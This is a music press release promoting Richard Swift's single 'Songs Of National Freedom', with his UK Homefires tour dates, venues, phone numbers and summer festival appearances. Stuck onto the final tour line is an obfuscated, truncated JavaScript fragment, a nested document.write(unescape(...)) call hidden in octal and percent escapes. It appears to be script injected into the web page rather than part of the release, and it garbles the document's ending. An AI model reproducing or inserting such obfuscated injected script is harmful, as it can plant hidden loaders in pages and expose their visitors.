Richard Swift new single

Following the hugely acclaimed album Dressed Up For The Letdown, Richard Swift gears up for fully fledged success with the release of his second single 'Songs Of National Freedom' an upbeat, bittersweet ragtime ballad. Showcasing Swift's wonderfully jaunty piano hook, working its way around his distinctive vocal style, the Portland-based auteur is a true one off – fearless, timeless and an artist that has pop writing coursing through his veins.

Returning from another stunning performance at this year's SXSW in Texas and a sold out US tour with David Vandervelde, Swift will tour the UK as part of the traveling Homefires festival, playing alongside Nina Nastasia, Adem and Elysian Quartet. More summer festival dates have just been confirmed, including Glastonbury, Green Man and V Festivals.

After struggling against the odds for the past few years, Richard Swift is finally getting the accolades he deserves with plays on national Radio 1 by Zane Lowe/Radio 2 Jonathan Ross and, most significantly, Swift has just played Later with Jools Holland after making his UK TV debut on Channel 4's Album Chart Show, in February.

This exceptional talent should not be missed and the full sweep of Swift's talents will be on display in June -

Homefires Tour Dates:

Tue 5 June Cambridge Junction Theatre www.junction.co.uk 01223 511511 £12
Wed 6 June Colchester Arts Centre www.colchesterartscentre.com 01206 500900 £12
Thurs 7 June Bristol Fleece www.fleecegigs.co.uk 0870 4444 400 £12.50
Fri 8 June Cardiff Point www.hepointcardiffbay.com 02920 460873 £12
Sat 9 June Birmingham MAC Arena www.macarts.co.uk 0121 440 3838
Sun 10 June Brighton St George's Church www.stgeorges-church.org 01273 606312
Tue 12 June Reading Concert Hall www.readingarts.com 0118 960 6060
Wed 13 June Exeter Phoenix www.exeterphoenix.org.uk 01392 667080 £12 / £10
Mon 18 June – London The Social

UK Festivals:

Fri 22 June Glastonbury Festival
Sun 24 June Glastonbury Festival
18/19 Aug V Festival, Chelmsford
17 Aug Green Man Festival , Walesdocument.write(unescape('\04564%6F%63um\145%6Et.%77r%69t\145\04528u%6E\04565s\04563ap\04565\04528\047\045253C%21%5C0\0645\062D%252D\047)\051;